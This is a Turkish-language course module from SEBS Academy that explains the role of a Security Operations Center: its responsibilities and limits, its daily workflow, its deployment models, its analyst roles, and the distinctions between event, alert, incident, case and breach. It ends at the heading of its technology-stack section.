SOC Eğitimi (Güncel) | SEBS Academy

MODÜL 1 — SOC'un Kurumsal Rolü ve Modern Mimari

Modül Teması

SOC Misyonu

Sürekli izleme, tespit, triaj ve eskalasyon.

Roller

L1, L2, L3, Detection Engineer, Threat Hunter.

Teknoloji Yığını

SIEM, EDR/XDR, NDR, SOAR, TIP.

Bir Security Operations Center’ı anlamak, yalnızca ekranlar karşısında alarm kapatan bir ekibi tanımaktan çok daha fazlasını gerektirir. SOC, kurumun güvenlik görünürlüğünü merkezileştiren, tehditleri sistematik biçimde izleyip analiz eden ve doğru ekiplere temiz bilgi aktaran bir operasyon yapısıdır. Bu modül, SOC’u kurumsal güvenlik içinde doğru konumlandırabilmek için gereken çerçeveyi sunar: Hangi sorumlulukları taşır, hangi sınırların dışına çıkmamalıdır, hangi ekiplerle nasıl kesişir ve hangi araç katmanlarından oluşur?

Temel eğitimde SOC’un ne olduğu öğrenilmiştir. Bu modülde odak farklıdır: SOC’un kurumsal risk yönetimi içindeki operasyonel rolü, günlük çalışma döngüsünün nasıl işlediği, farklı kurulum modellerinin güçlü ve zayıf tarafları, analist rollerinin nasıl ayrıştığı ve modern araç yığınının bütününün SOC mimarisinde nasıl konumlandığı ele alınacaktır. Bu perspektif, bir analisti “alarm ekranı izleyen kişi” olmaktan çıkarıp “kurumsal güvenlik değeri üreten, karar alabilen, bağlam kurabilen operasyon profesyoneli” konumuna taşır.

Bu Modülde Hedeflenen Kazanımlar

Bu modülü tamamlayan öğrenci:
SOC’un kurumsal güvenlik içindeki rolünü, sınırlarını ve iş değerini açıklayabilmeli; SOC’u yalnızca teknik bir araç değil, kurumsal risk azaltma merkezi olarak konumlandırabilmelidir.
SOC’un günlük operasyon döngüsünü — izleme, tespit, triaj, inceleme, eskalasyon, raporlama ve sürekli iyileştirme — ardışık ve birbirine bağlı süreçler olarak tanımlayabilmelidir.
SOC kurulum modellerini (in-house, MSSP, hybrid, virtual, cloud-native) avantaj ve risk boyutlarıyla karşılaştırabilmeli; kurumun bağlamına göre değerlendirme yapabilmelidir.
L1, L2, L3, Detection Engineer, Threat Hunter ve SOC Lead rollerinin birbirinden farklı sorumluluk alanlarını net biçimde ayırt edebilmeli; hangi durumda hangi rolün devreye girmesi gerektiğini açıklayabilmelidir.
Event, alert, incident, case, security breach ve data breach kavramlarını SOC operasyonu bağlamında doğru biçimde kullanabilmelidir.
SIEM, EDR, XDR, NDR/NSM, SOAR, TIP ve case management araçlarının SOC mimarisi içindeki görevlerini ve birbirleriyle ilişkilerini açıklayabilmelidir.
Bir SOC’un neden yalnızca teknolojiden ibaret olmadığını; insan, süreç ve veri kalitesinin teknolojiyle birlikte nasıl çalıştığını değerlendirebilmelidir.
Bir olayın SOC’a nasıl girdiğini, hangi süreçlerden geçtiğini ve nereye taşındığını uçtan uca izleyebilmelidir.

1. SOC’un Kurumsal Güvenlikteki Görevi ve Sınırları

1.1 SOC Nedir?

Security Operations Center, kurumun dijital altyapısında gerçekleşen güvenlik olaylarını sürekli izleyen, tespit eden, analiz eden, önceliklendiren ve ilgili ekiplere aktaran operasyonel yapıdır. “Merkez” ifadesi bazen yanıltıcı olabilir; SOC fiziksel bir yer olmak zorunda değildir. Önemli olan, güvenlik görünürlüğünün ve analiz kapasitesinin belirli bir süreç ve ekip disiplini içinde sürdürülmesidir.

SOC’un tanımlayıcı özelliği, süreklilik ve sistematik çalışma disiplinidir. Güvenlik olayları mesai saatini tanımaz; bu nedenle olgun veya yüksek riskli kurumlarda SOC’un 7/24 izleme sağlaması hedeflenir. Ancak her kurumda bu yapı doğrudan kurum içi ekiplerle kurulmaz; bazı yapılarda mesai içi SOC, nöbet modeli, MSSP desteği veya hybrid izleme modeli kullanılabilir. “Sürekli izleme” ifadesinin arkasında yalnızca bir ekran değil, doğru log kaynakları, doğru detection kuralları, net triaj süreçleri ve yetkin analistler bulunmalıdır. Bu unsurlardan herhangi biri eksik olduğunda SOC teknik anlamda çalışıyor olabilir; ama güvenlik değeri üretemeyebilir.

Analist perspektifinden bakıldığında SOC, kurum içindeki güvenlik sinyallerinin toplandığı, filtreden geçirildiği, bağlamla zenginleştirildiği ve aksiyon kararlarının verildiği yerdir. Bu sinyaller bazen SIEM’den gelen bir alarm, bazen EDR’den gelen davranışsal tespit, bazen de threat intelligence platformundan gelen bir IOC eşleşmesi olabilir.

1.2 SOC Ne Değildir?

SOC’u diğer güvenlik disiplinlerinden net biçimde ayırmak operasyonel açıdan kritiktir; sınır belirsizliği hem SOC’un verimliliğini düşürür hem de kurumsal güvenlik boşlukları doğurur.

SOC, penetrasyon testiyle aynı şey değildir. Pentest, saldırgan gözüyle güvenlik açıklarını bulmaya çalışır; SOC ise savunmacı gözüyle izler, tespit eder ve analiz eder. Bazı SOC’lar güvenlik açığı yönetimiyle ilgili bağlam sağlayabilir, ancak aktif exploitation bu rolün dışındadır.

SOC, çoğu kurumda olayın tespiti, ilk triajı, ilk analizi, kapsam belirleme çalışması ve doğru ekibe aktarılmasından sorumludur. Tam kapsamlı containment, eradication, recovery, disk forensics, bellek analizi, zararlı yazılım tersine mühendisliği veya kök neden analizi genellikle IR/DFIR ekibinin görev alanına girer. Ancak bazı kurumlarda IR fonksiyonu SOC içinde konumlandırılabilir veya L3/SOC ekibiyle iç içe çalışabilir. Bu nedenle SOC ile IR arasındaki sınır, kurumun organizasyon yapısına ve olay müdahale modeline göre netleştirilmelidir. SOC’ta bu sınırın anlaşılmaması, analistlerin yetki ve sorumluluk alanlarını aşan analizler için zaman harcamasına ve gerçek olayların geç iletilmesine neden olabilir.

SOC, tehdit istihbaratı (CTI) üretim merkezi değildir. İstihbarat tüketir ve operasyonlarına entegre eder; fakat aktör profilleme, kampanya takibi veya ham istihbarat üretimi ayrı bir uzmanlık alanıdır.

SOC, güvenlik mimarisinin bütünü değildir. Firewall kuralı yazmak, ağ segmentasyonu tasarlamak veya kimlik altyapısını yönetmek SOC’un temel sorumlulukları değildir. SOC bu yapıların ürettikleri sinyalleri tüketir ve zayıflıklar tespit edildiğinde ilgili ekiplere bildirir.

Bir SOC analistinin en çok zorlandığı durumlardan biri, sorumluluk sınırlarının belirsiz olduğu ortamlardır. “Bu IP’yi bloklayalım mı?”, “Şu sunucuyu şimdi kapatalım mı?” gibi sorularda SOC’un rolü öneri sunmak ve kararı doğru ekibe iletmektir; tek başına aksiyon almak değildir. Bu ayrım hem hata riskini azaltır hem de hesap verebilirliği netleştirir.

1.3 SOC’un Temel Amacı Nedir?

SOC’un varoluş gerekçesi tek bir cümleyle özetlenebilir: Tehditleri erken ve doğru biçimde fark etmek, etkisini anlamak ve doğru kararla doğru ekibe iletmek. Ancak bu işlevin sürdürülebilir olması için SOC’un bir de öğrenen organizasyon gibi çalışması gerekir; yani her olaydan, her false positive’den ve her kaçan tespitten ders çıkararak kendini geliştirmelidir.

“Erken tespit” ifadesi kritiktir. Saldırganların ağda geçirdiği ortalama süre (dwell time) hâlâ günlerle hatta haftalarla ölçülmektedir. Bu süreyi kısaltmak SOC’un temel değer göstergelerinden biridir. Bir tehdit fark edilmeden önce ne kadar uzun süre içeride kalırsa, etkisi ve temizleme maliyeti o kadar artar.

“Doğru ekibe iletmek” ise SOC’u yalnızca tespit eden değil, doğru koordinasyonu sağlayan yapı hâline getirir. SOC, IT operasyonları, İnsan Kaynakları, Hukuk, Üst Yönetim ve IR ekipleriyle belirli noktalarda kesişir; bu kesişimlerin ne zaman ve nasıl gerçekleşeceği net olmalıdır.

1.4 SOC’un Kuruma Sağladığı İş Değeri

SOC’un kurumsal değeri yalnızca “siber saldırı önleme” olarak tanımlandığında yönetimle sağlıklı bir diyalog kurmak zorlaşır. Gerçekte SOC birden fazla iş değeri üretir:

Risk azaltma: Tehditlerin erken tespiti, olası ihlallerin iş süreçlerine etkisini sınırlar. Bir fidye yazılımı saldırısı, yanal hareket aşamasında tespit edilip durdurulursa bir üretim duruşuna değil, sınırlı bir endpoint sorununa dönüşür.

İş sürekliliği: Saldırıların iş süreçlerine yayılmadan önce tespit edilmesi ve containment sağlanması, hizmet kesintilerini minimize eder.

Regülasyon uyumu: KVKK, GDPR, ISO 27001, PCI-DSS gibi regülasyonlar çoğunlukla güvenlik olayı yönetimi, log saklama ve bildirim süresi gibi gereksinimleri içerir. SOC bu gereksinimlerin karşılanmasında kritik bir rol oynar.

Kurumsal güven: Müşterilere, iş ortaklarına ve düzenleyici kurumlara yönelik güvenlik olgunluğunu kanıtlamak, kurumsal itibarın bir parçasıdır. İyi işleyen bir SOC bu güvenin somut kanıtı olabilir.

2. SOC’un Günlük Operasyonlarda Üstlendiği Temel Sorumluluklar

SOC’un günlük işleyişi doğrusal değil döngüseldir: İzleme tetikler, tespit triajı başlatır, triaj incelemeye açılır, inceleme eskalasyon veya kapanışa taşınır, raporlama ve iyileştirme bu döngüyü besler. Bu akışın her halkasını anlamak, bir analistin nerede durduğunu ve ne yapması gerektiğini netleştirir.

2.1 Sürekli İzleme Süreci: Monitoring

Monitoring, SOC’un temelidir; ancak pasif bir eylem olarak anlaşılmamalıdır. Gerçek anlamda izlemek, doğru kaynaklardan doğru sinyalleri toplamak, bu sinyallerin kesintisiz aktığını doğrulamak ve anlamlı değişikliklere zamanında tepki vermektir.

SOC, birden fazla kaynaktan gelen telemetriyi izler: endpoint’lerden gelen davranışsal sinyaller, ağ trafiğinden elde edilen akış ve oturum verileri, kimlik altyapısından gelen authentication logları, bulut ortamlarından gelen API ve IAM etkinlikleri, güvenlik araçlarından gelen alarm çıktıları. Bu kaynaklardan herhangi birinin kesilmesi veya bozulması, o kaynaktaki tehditlere karşı körleşmek anlamına gelir; bu nedenle izlemenin bir parçası da log akışlarının sağlığını takip etmektir.

Dikkat: “İzleme yapıyoruz” demek, yalnızca SIEM’in açık olduğu ve alarm ürettiği anlamına gelmez. Gerçek izleme, kritik varlıkların doğru kapsanmasını, log kaynaklarının düzenli akmasını ve alarmların triaj sırasına girmesini kapsar.

2.2 Şüpheli Davranışları Tespit Etme Süreci: Detection

Tespit, izlemenin anlamlı hâle geldiği aşamadır. Ham log akışından güvenlik açısından dikkat çekici olayları ayırt etme kapasitesi, SOC’un detection engineering kalitesiyle doğrudan ilişkilidir.

Tespit üç temel yoldan gerçekleşir: bilinen tehdit göstergelerine (IOC) dayalı eşleşmeler, davranışsal ve anomali tabanlı kurallar, tehdit avcısının hipotez kurarak elle yaptığı aramalar. Bu üç yolun birlikte kullanılması, hem bilinen hem de yeni tehdit vektörlerini yakalama olasılığını artırır. Yalnızca IOC tabanlı tespit, saldırganların göstergelerini kolayca değiştirebildiği gerçeği karşısında yetersiz kalır.

2.3 Alarmı İlk Değerlendirme Süreci: Triage

Triaj, bir alarmı “gerçek tehdit mi, yanlış pozitif mi, bilinen davranış mı yoksa daha fazla inceleme gerektiren belirsiz bir durum mu?” sorusuyla karşılayan ilk elek sürecidir. L1 analistlerin büyük bölümü zamanlarını bu aşamada geçirir.

İyi bir triaj süreci hem hız hem de doğruluk gerektirir. Triaj çok yavaş yapılırsa alarm birikir ve kritik olaylar gömülü kalır. Çok hızlı yapılıp yüzeysel kalırsa gerçek tehditler false positive olarak kapatılır. Bu dengeyi kurmak için analistin alarm bağlamını — etkilenen varlık, kullanıcı, zaman, severity, ilgili diğer olaylar — hızlı ama sistematik biçimde değerlendirmesi gerekir.

2.4 Olayı Derinlemesine İnceleme Süreci: Investigation

Triajdan geçen ve gerçek tehdit olabileceği düşünülen bir alarm, investigation aşamasına taşınır. Bu aşamada alarm artık tek başına ele alınmaz; kullanıcı, varlık, IP, süreç, domain, dosya hash’i ve zaman çizelgesi gibi boyutlara genişletilir.

Investigation’ın kalitesi büyük ölçüde mevcut telemetrinin zenginliğine bağlıdır. Bir SIEM alarmı, EDR process tree’siyle, ağ oturumu verisiyle ve kimlik loglarıyla birleştirildiğinde çok daha anlamlı bir tablo ortaya çıkar. Bu yüzden investigation ile telemetri yönetimi arasında doğrudan bir ilişki vardır; eksik veri, analistin olayın gerçek kapsamını görmesini engeller.

2.5 Olayı Doğru Ekibe Aktarma Süreci: Escalation / Eskalasyon

Her alarm aynı yere gitmez. SOC’un eskalasyon kararları net kriterlere dayanmalıdır. Bir alarmın L2 analize taşınması mı, IR ekibine devredilmesi mi, IT’ye bildirilmesi mi yoksa hukuk veya yönetime iletilmesi mi gerektiği hem olayın niteliğine hem de kurumun eskalasyon matrisine bağlıdır.

Eskalasyon bir başarısızlık değil, sürecin doğal bir parçasıdır. L1 analistin kapasitesini aşan teknik derinlikte bir olay varsa L2’ye taşımak, SOC’un doğru çalıştığının göstergesidir. Ancak her alarmı yukarı taşımak da verimli değildir; eskalasyon kriterleri net tanımlanmamışsa hem üst seviyeler gürültüyle boğulur hem de gerçek aciller karışır.

İpucu: Eskalasyon kararında en sık sorulan soru şudur: “Bu olayı ben artık daha ileri götüremiyor muyum, yoksa henüz yeterince bakmadım mı?” Bu iki durumu karıştırmak hem gereğinden fazla hem de gereğinden az eskalasyon üretir.

2.6 SOC Çıktılarının Raporlanması

Raporlama, SOC operasyonunun görünürlüğünü kurumun geri kalanına taşır. Teknik ekipler için alarm eğilimleri, kapanış türleri ve detection boşlukları önem taşırken; yönetim için risk trendleri, kritik olaylar ve operasyonel olgunluk göstergeleri öne çıkar.

İyi bir raporlama süreci iki riski dengeler: Çok az rapor üretmek SOC’un değerini görünmez kılar. Çok fazla ve ayrıntısız rapor üretmek ise asıl mesajı gürültünün içinde boğar. Raporlar operasyonel bir karar aracı olmalı; yalnızca alarm sayısı sunmak yerine “bu sayının ne anlama geldiğini” göstermelidir.

2.7 SOC’un Sürekli İyileştirme Döngüsü

Kapanan bir vakadan öğrenmek, SOC’un en az izleme kadar kritik bir işlevidir. Her kapanan olaydan sonra şu sorular sorulmalıdır: Bu olayı zamanında fark edebildik mi? Tespit kuralı işe yaradı mı? Triaj süreci yeterince hızlı ve doğruydu mu? Eğer benzer bir olay tekrar yaşansaydı, ne daha iyi yapılabilirdi?

Bu döngü yalnızca ciddi olaylar için değil, yüksek hacimli false positive ürettiği anlaşılan kurallar için de işletilmelidir. Bir kural çok fazla gürültü üretiyorsa o kural ya tune edilmeli ya da veri kaynağında bir sorun olup olmadığı kontrol edilmelidir. Sürekli iyileştirme olmadan SOC statik kalır; saldırgan davranışları evrildikçe tespit kapasitesi eskir.

3. SOC Kurulum ve Hizmet Modelleri

Her kurumun bütçesi, insan kaynağı, olgunluk seviyesi ve risk profili farklıdır. Bu gerçeklik, SOC’u tek bir modelde kurmak yerine kuruma özgü bir yaklaşımla yapılandırmayı zorunlu kılar.

3.1 Kurum İçi SOC Modeli: In-house SOC

Kurum içi SOC, tüm personelin ve altyapının kuruma ait olduğu modeldir. En büyük avantajı kurum bağlamı ve veri kontrolüdür: İç analistler kurumun iş süreçlerini, kritik sistemlerini, kullanıcı davranışlarını ve teknoloji mimarisini dışarıdan bir sağlayıcıya kıyasla çok daha iyi tanır. Bu bağlam, false positive ayıklamada ve gerçek tehditleri önceliklendirmede kritik avantaj sağlar.

Dezavantajlar ise göz ardı edilemeyecek düzeydedir: Nitelikli SOC personeli bulmak ve elde tutmak giderek zorlaşmaktadır. 7/24 izleme için gereken vardiya düzeni, insan kaynağı maliyetini önemli ölçüde artırır. Lisanslama, donanım, yazılım, eğitim ve sürekli güncel kalma gereklilikleri ciddi bütçe gerektirir. Küçük ve orta ölçekli kurumlar için bu model genellikle sürdürülebilir olmayan bir yük oluşturur.

3.2 Dış Kaynaklı SOC Hizmeti: MSSP Modeli

Managed Security Service Provider modelinde güvenlik operasyonu, bu hizmeti uzmanlaşmış ekiplerle sunan harici bir sağlayıcı tarafından yürütülür. Hızlı başlangıç, maliyet öngörülebilirliği ve uzmanlık erişimi bu modelin belirgin avantajlarıdır.

Ancak MSSP modelinde ciddi riskler de mevcuttur. Kurum bağlamı eksikliği en kritik risktir: Dış sağlayıcı, kurumun iç iş süreçlerini, normal kullanıcı davranışlarını veya istisna durumlarını içeriden bir ekip kadar bilemez. Bu durum false positive oranlarını artırabilir veya bazı tehditlerin kurum bağlamında doğru yorumlanmamasına yol açabilir.

Veri gizliliği de tartışmalı bir noktadır. Kurumsal log ve güvenlik telemetrisi dışarıya aktarılmakta; bu durum regülasyona tabi sektörlerde (bankacılık, sağlık, kamu) ek kısıtlamalar doğurabilir. SLA metriklerinin gerçek operasyonel ihtiyacı karşılayıp karşılamadığı da dikkatle değerlendirilmelidir.

3.3 Kurum İçi ve Dış Kaynak Karışımı Yapı: Hybrid SOC

Hybrid model, in-house ve MSSP yaklaşımlarının güçlü yönlerini bir araya getirmeye çalışır. Tipik bir yapıda kurum içi ekip kritik varlıkları izler, eskalasyon kararlarını verir, kurum bağlamını yönetir ve dış sağlayıcıyla koordinasyonu sağlar; dış sağlayıcı ise ilk seviye alarm triajı, 7/24 izleme kapasitesi veya belirli uzmanlık alanları (örneğin threat hunting veya detection engineering) için devreye girer.

Bu modelin başarısı, sorumluluk sınırlarının net tanımlanmasına bağlıdır. Hangi alarm türü önce dış sağlayıcıya gider, hangisi doğrudan iç ekibe iletilir? Dış sağlayıcıdan kurum içi ekibe veya kurum içi ekipten dış sağlayıcıya eskalasyon kriterleri nelerdir? Bu sorular yanıtsız kaldığında iki taraf arasında bilgi kaybı ve sorumluluk boşlukları oluşur.

3.4 Dağıtık Ekiplerle Çalışan Yapı: Virtual SOC

Virtual SOC, analistlerin farklı fiziksel lokasyonlarda çalıştığı; ancak ortak araçlar, süreçler ve iletişim kanalları üzerinden koordinasyon sağladığı yapıdır. Uzaktan çalışma modellerinin yaygınlaşmasıyla birlikte bu yaklaşım daha sık gündeme gelmektedir.

Virtual SOC’un en büyük zorluğu koordinasyon ve dokümantasyon disiplinidir. Aynı ortamda çalışan analistler, gözlemlerini veya devam eden analizlerini doğal iletişim yoluyla paylaşabilir; ancak uzaktan çalışan bir ekipte bu bilgi akışı bilinçli bir yapı kurulmadan kaybolur. Vaka notlarının eksiksiz tutulması, vardiya devir tesliminin yazılı ve sistematik yapılması ve iletişim kanallarının net belirlenmesi bu modelde hayatta kalma koşullarıdır.

Otomasyon ihtiyacı da bu modelde öne çıkar. Enrichment, bildirim ve basit triaj adımları otomatize edilmediğinde uzaktan çalışan bir ekip arasındaki koordinasyon boşlukları ciddi gecikmelere yol açabilir.

3.5 Bulut Odaklı SOC Yaklaşımı: Cloud-native SOC

Cloud-native SOC, altyapısı ağırlıklı olarak bulut üzerinde kurulmuş veya hizmet modeliyle sunulan güvenlik operasyonu yaklaşımıdır. Buradaki temel fark yalnızca altyapı değil, izleme paradigmasıdır.

On-prem ağırlıklı bir SOC, endpoint ve ağ telemetrisine odaklanır. Cloud-native SOC’ta ise API çağrıları, IAM değişiklikleri, cloud audit logları, SaaS uygulama aktiviteleri ve konteyner/serverless iş yükleri öne çıkar. Bu ortamlarda geleneksel ağ trafiği analizi yeterli kalmaz; kimliğin yeni çevre olduğu kabul edilir.

Microsoft Sentinel ve Google Security Operations / eski adıyla Chronicle gibi cloud-native SIEM/SecOps platformları bu modelin analiz ve alarm omurgasını oluşturabilir. AWS Security Lake ise doğrudan bir SIEM değil; farklı kaynaklardan güvenlik verilerini merkezi bir güvenlik veri gölünde toplayan, SIEM ve analiz platformlarını besleyebilen bir güvenlik veri yönetimi servisidir. Esnek ölçeklenebilirlik, merkezi log toplama ve cloud servislerle doğal entegrasyon bu modelin güçlü yönleridir. Maliyet yönetimi ve log toplama maliyetleri ise dikkat gerektiren alanlar arasındadır.

4. SOC Ekibindeki Roller ve Analist Seviyeleri

Bir SOC’un işleyişi, rollerin ve sorumlulukların netliğine doğrudan bağlıdır. Rol belirsizliği, hem operasyonel verimsizliğe hem de analistler arası çatışmaya yol açar.

4.1 İlk Seviye Alarm Analisti: L1 SOC Analisti

L1 analist, SOC’un birinci savunma hattıdır. Görev tanımı görece belirlidir: gelen alarmı incele, bağlamı topla, yanlış pozitif mi gerçek tehdit mi diye değerlendir ve doğru kararı ver.

Günlük operasyonda L1 analist çok sayıda alarmla karşılaşır. Bu hacmin üstesinden gelebilmek için alarm triajını hızlı ve sistematik yapmak gerekir: alarmın kaynağını, etkilenen varlığı, severity değerini, geçmiş benzer alarmları ve mevcut enrichment bilgisini hızla değerlendirmek. Sezgiye bağlı karar vermek yerine tanımlı triaj akışını takip etmek hem hata riskini azaltır hem de ölçeklenebilirlik sağlar.

L1’in en kritik sorumluluklarından biri de olayı doğru zamanda üst seviyeye taşımaktır. Kapasitesini aşan analizi kendisi çözmeye çalışmak yerine net bir not ve bağlamla L2’ye aktarmak, SOC’un genel verimliliğini artırır.

4.2 Derin Analiz Yapan Analist: L2 SOC Analisti

L2 analist, L1’in taşıdığı ve daha derin analiz gerektiren olaylarla ilgilenir. Bu seviyede beklenti, alarmın yüzeyini değil altyapısını anlamaktır: SIEM’de kapsamlı sorgular yazmak, olayı farklı veri kaynaklarıyla korelasyon yaparak genişletmek, kullanıcı ve varlık bağlamını derinlemesine incelemek ve kanıtlarla desteklenmiş bir değerlendirme sunmak.

L2 analistin teknik yetkinliği daha yüksektir; ancak yalnızca teknik analiz yetmez. Olayın gerçek tehdit olup olmadığını kanıtlarla destekleme disiplini ve net, başka bir analistin devam edebileceği vaka notları yazma alışkanlığı da bu rolün parçasıdır.

4.3 Karmaşık Olayları Çözen Kıdemli Analist: L3 SOC Analisti

L3 seviyesi, hem derin teknik analizi hem de SOC’a stratejik katkıyı kapsar. Karmaşık, çoklu sistemleri etkileyen veya IR ekibine devredilmesi gereken olayların analizi bu seviyede yapılır.

L3 analist aynı zamanda detection engineering sürecine aktif katkı sağlar. Threat hunting çıktılarından yeni tespit kuralları üretmek, mevcut kuralların false positive oranını iyileştirmek ve SOC’un tespit kapasitesini teknik açıdan genişletmek bu rolün daha az görünen ama son derece değerli boyutudur. Bu anlamda L3, yalnızca olay çözen değil, SOC’u geliştiren bir rolü temsil eder.

4.4 Operasyonu Yöneten Rol: SOC Lead / SOC Manager

SOC Lead, teknik analizden ziyade operasyonun bütününü yönetir. Günlük ve haftalık alarm istatistikleri, vardiya planlaması, SLA takibi, analist yük dengesi, raporlama kalitesi ve ekip performansı bu rolün gündelik konularıdır.

SOC Lead’in kritik bir işlevi de SOC ile üst yönetim arasındaki köprü rolüdür. Teknik bulguları iş değeri diline çevirmek, kritik olayları yönetime doğru çerçevede iletmek ve SOC’un ihtiyaç duyduğu kaynak veya değişiklikler için savunuculuk yapmak bu pozisyonun görünmez ama belirleyici katkısıdır.

4.5 Tespit Kuralları Geliştiren Rol: Detection Engineer

Detection Engineer, SOC’un tehdit tespit kapasitesini sistematik biçimde büyüten roldür. Görevi, bir tehdit davranışını gözlemleyip bunu SIEM’de, EDR’de veya diğer güvenlik araçlarında çalışan kalıcı bir detection kuralına dönüştürmektir.

Bu süreç birkaç aşamayı kapsar: Saldırgan davranışını anlamak, bu davranışın hangi loglarda ve hangi alanlarda iz bıraktığını belirlemek, bir sorgu veya kural yazmak, MITRE ATT&CK çerçevesiyle eşlemek ve false positive oranını kabul edilebilir düzeye çekmek için tuning yapmak. Detection Engineer’ın bir kuralı üretime almadan önce cevaplaması gereken temel soru şudur: “Bu kural gerçekten zararlı davranışı mı yakalar, yoksa sadece benzer görünen zararsız aktiviteleri de mi tetikler?”

Analist Yorumu: Detection Engineering bir defaya mahsus bir faaliyet değildir. Ortam değiştikçe, yeni uygulamalar devreye girdikçe veya normal kullanıcı davranışları evrildikçe, mevcut kurallar güncellenmezse false positive oranları yükselir veya kurallar değer üretmeyi durdurur. Bu yüzden detection içeriği sürekli bakım gerektiren bir varlıktır.

4.6 Proaktif Tehdit Arayan Rol: Threat Hunter

Threat Hunter, alarm beklemeden saldırgan izlerini arar. Bu proaktif yaklaşım, “eğer belirli bir teknik kullanıldıysa ortamımızda hangi izleri bırakır?” hipoteziyle başlar ve mevcut telemetri üzerinde sistematik araştırmayla devam eder.

Threat Hunter’ın SOC’a katkısı iki yönlüdür. Birincisi, mevcut detection kurallarının gözden kaçırdığı tehditleri bulabilir. İkincisi, hunting sırasında keşfedilen davranış örüntülerini kalıcı detection kurallarına dönüştürerek SOC’un tespit kapasitesini doğrudan artırır. Bu nedenle Threat Hunter ile Detection Engineer arasındaki iş birliği, SOC’un uzun vadeli güvenlik değerini doğrudan etkiler.

5. SOC’ta Kullanılan Olay Kavramları: Event, Alert, Incident ve Case Ayrımı

SOC operasyonlarında terminoloji tutarsızlığı, hem iç iletişimi hem de raporlamayı olumsuz etkiler. Aşağıdaki kavramlar sık karıştırılır ve bu karışıklık karar kalitesini düşürür.

5.1 Güvenlik Kaydı Olarak Event

Event, sistemde gerçekleşen herhangi bir kayıttır: bir kullanıcının giriş yapması, bir dosyanın oluşturulması, bir ağ bağlantısının kurulması, bir servisin başlatılması. Bu kayıtların büyük çoğunluğu güvenlik açısından tamamen nötrdür.

SOC’ta event’in önemi, bu kayıtların ham veriyi oluşturmasından kaynaklanır. Detection kuralları event akışını tarar ve belirli örüntüleri yakaladığında alert üretir. Dolayısıyla event’in kalitesi ve sürekliliği, detection sürecinin temel girdisini oluşturur.

5.2 Dikkat Gerektiren Kayıt Olarak Alert

Alert, bir kural, imza, anomali modeli veya güvenlik aracı tarafından dikkat çekici bulunan event ya da event grubudur. Her alert gerçek bir güvenlik tehdidini göstermez; alert yalnızca “bu kurala göre bakılması gerekiyor” sinyalidir.

SOC’ta alert yönetimi, hacim, kalite ve triaj hızı açısından dengelenmesi gereken kritik bir alandır. Alert sayısı yüksekse ve büyük çoğunluğu false positive üretiyorsa, analistler zamanla gerçek tehditleri de es geçmeye başlar. Bu durum alert fatigue olarak adlandırılır ve detection kalitesinin önündeki en ciddi operasyonel tehditlerden biridir.

5.3 Doğrulanmış Güvenlik Olayı Olarak Incident

Incident, triaj ve investigation süreci sonunda gerçek güvenlik etkisi taşıdığı doğrulanan veya kurum prosedürüne göre incident olarak yönetilmesi gereken güçlü şüpheli güvenlik olayıdır. Doğrulama tamamlanmamış olaylar, kurum taksonomisine göre “suspected incident”, “under investigation” veya “case” olarak da takip edilebilir. Her alert bir incident’a dönüşmez; incident, analiz ve aksiyon gerektiren düzeyde kanıt taşıyan durumlardır.

Incident bildirimi, vaka yönetim sürecini tetikler ve çoğunlukla IR, IT veya üst yönetim gibi SOC dışı ekiplerin dahil edilmesini gerektirir. Bir olayın incident olarak sınıflandırılması, hem müdahale hızını hem de iletişim sorumluluklarını aktive eder.

5.4 Takip Edilen Operasyon Kaydı Olarak Case

Case, SOC tarafından açılan, analist atanan, not tutulan, durumu takip edilen ve sonuçlandırılan operasyonel vaka kaydıdır. Bir alert, triaj sonucunda case’e dönüştürülebilir; bir case birden fazla alert veya incident’ı kapsayabilir.

Case yönetiminin değeri, operasyonel sürekliliği sağlamasındadır. Bir analist bir vakayı yarım bırakıp vardiyası bittiğinde, bir sonraki analist case notlarını okuyarak kaldığı yerden devam edebilmelidir. Bu nedenle case kalitesi yalnızca teknik içerik değil, netlik, eksiksizlik ve izlenebilirlik açısından da değerlendirilir.

5.5 Yetkisiz Erişim veya Güvenlik Aşımı Olarak Security Breach

Security breach, bir güvenlik kontrolünün aşıldığı, yetkisiz erişim sağlandığı veya sistem/güvenlik sınırının ihlal edildiği durumları ifade eder. Her incident bir security breach değildir; ancak security breach genellikle incident olarak ele alınır ve etkisine göre ciddi seviyede değerlendirilebilir. Ciddiyet seviyesi; etkilenen varlık, yetkisiz erişimin kapsamı, veri etkisi, iş sürekliliği etkisi ve regülasyon yükümlülüklerine göre belirlenmelidir.

SOC’ta bu terimin doğru kullanılması önemlidir. Bir alert “şüpheli giriş denemesi” iken, “yetkisiz erişim gerçekleşti” iddiası çok daha ağır sonuçlar doğurur: IR tetikleme, üst yönetim bildirimi, hukuki süreç veya regülasyon kapsamında bildirim yükümlülükleri. Bu yüzden bir olayı security breach olarak nitelendirmek kanıta dayalı ve dikkatli bir değerlendirme gerektirir.

5.6 Hassas Verinin Etkilenmesi Olarak Data Breach

Data breach, genel siber güvenlik bağlamında hassas, kişisel veya kurumsal verinin yetkisiz erişime, ifşaya, kayba, değiştirmeye ya da kötüye kullanıma konu olduğu olay kategorisini ifade eder. Ancak KVKK ve GDPR bağlamında özellikle “kişisel veri ihlali / personal data breach” ayrımı önemlidir; çünkü bildirim yükümlülüğü çoğunlukla kişisel verinin etkilenip etkilenmediğine, olayın kapsamına ve ilgili regülasyon şartlarına göre belirlenir.

SOC açısından kritik nokta şudur: Bir güvenlik olayının data breach içerip içermediği çoğunlukla investigation aşamasında netleşir. Bu nedenle SOC, olayın erken aşamalarında mevcut kanıtlarla bu ihtimali değerlendirmeli ve gerekiyorsa hukuk ekibini, KVKK/GDPR uyum ekibini ve kurumda varsa Veri Koruma Görevlisini / DPO’yu bilgilendirmelidir.

Kavram	Tanım	SOC’ta Ne Tetikler?
Event	Ham sistem kaydı	Veri toplama, detection
Alert	Dikkat çekici event	Triaj süreci
Incident	Doğrulanmış güvenlik olayı	Vaka yönetimi, eskalasyon
Case	Operasyonel takip kaydı	Analist ataması, not, kapanış
Security Breach	Güvenlik kontrolü aşımı, yetkisiz erişim veya güvenlik sınırının ihlali	IR değerlendirmesi, severity’ye göre SOC Lead / üst yönetim bildirimi
Data Breach	Hassas veya kişisel verinin yetkisiz erişime, ifşaya, kayba, değiştirmeye veya kötüye kullanıma konu olması	IR, hukuk/DPO değerlendirmesi, gerekiyorsa regülasyon bildirimi

6. Modern SOC Teknoloji Yığını ve Araç Katmanları

